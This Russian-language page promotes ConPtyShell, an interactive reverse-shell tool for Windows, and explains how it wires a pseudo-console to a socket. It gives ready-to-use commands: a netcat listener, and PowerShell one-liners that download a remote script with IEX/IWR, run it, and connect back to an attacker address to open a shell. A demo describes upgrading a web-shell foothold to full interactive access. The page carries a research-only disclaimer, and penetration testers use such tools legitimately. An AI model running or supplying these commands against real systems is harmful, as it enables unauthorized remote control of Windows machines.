ConPtyShell – полностью интерактивная обратная оболочка для систем Windows.
Внедрение Pseudo Console (ConPty) в Windows значительно улучшило способ обработки терминалов в Windows.
ConPtyShell использует эту функцию для буквального преобразования вашего bash в удаленный PowerShell.
Вкратце, он создает псевдо-консоль и присоединяет 2 канала.
Затем он создает процесс оболочки (по умолчанию powershell.exe), подключающий псевдо-консоль с перенаправленным вводом / выводом.
Затем запускается 2 потока для асинхронного ввода-вывода:
– один поток для чтения из сокета и записи в канал ввода псевдо-консоли;
– второй поток для чтения из канала вывода псевдо-консоли и записи в сокет.
ConPtyShell не является методом «Обновление до полностью интерактивного» для обратного шелла, просто используйте его в качестве обратной оболочки.
ПРИМЕЧАНИЕ. ConPty Shell использует функцию CreatePseudoConsole (). Эта функция доступна начиная с Windows 10 / Windows Server 2019 версии 1809 (сборка 10.0.17763).
Требования
Сторона клиента: версия Windows> = 10/2019 1809 (сборка> = 10.0.17763)
Сторона сервера: любой слушатель tcp, т.е. netcat
Использование
Способ 1
В этом методе размер терминала устанавливается без передачи параметров row и cols в функцию Invoke-ConPtyShell:
Сторона сервера:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
Сторона клиента:
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell 10.0.0.2 3001
Способ 2
Сторона сервера:
stty size
nc -lvnp 3001
Wait For connection
ctrl+z
stty raw -echo
fg[ENTER]
Сторона клиента:
Здесь вы должны использовать значения, считанные из команды stty size в параметрах -Rows и -Cols
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
или, если вы загрузите PS1:
IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -RemoteIp 10.0.0.2 -RemotePort 3001 -Rows 24 -Cols 80
Изменить размер консоли
В любом случае, если вы измените размер своего терминала, когда уже открыли удаленную оболочку, вы можете изменить размер строк и столбцов непосредственно из powershell, вставив следующий код:
$width=80
$height=24
$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height)
$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height)
Дэмо
Ниже в видео вы можете посмотреть смоделированный сценарий, где на левом терминале у меня ограниченный доступ к серверу через веб-оболочку, а справа создана полностью интерактивную обратную оболочку:
Скачать ConPtyShell
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.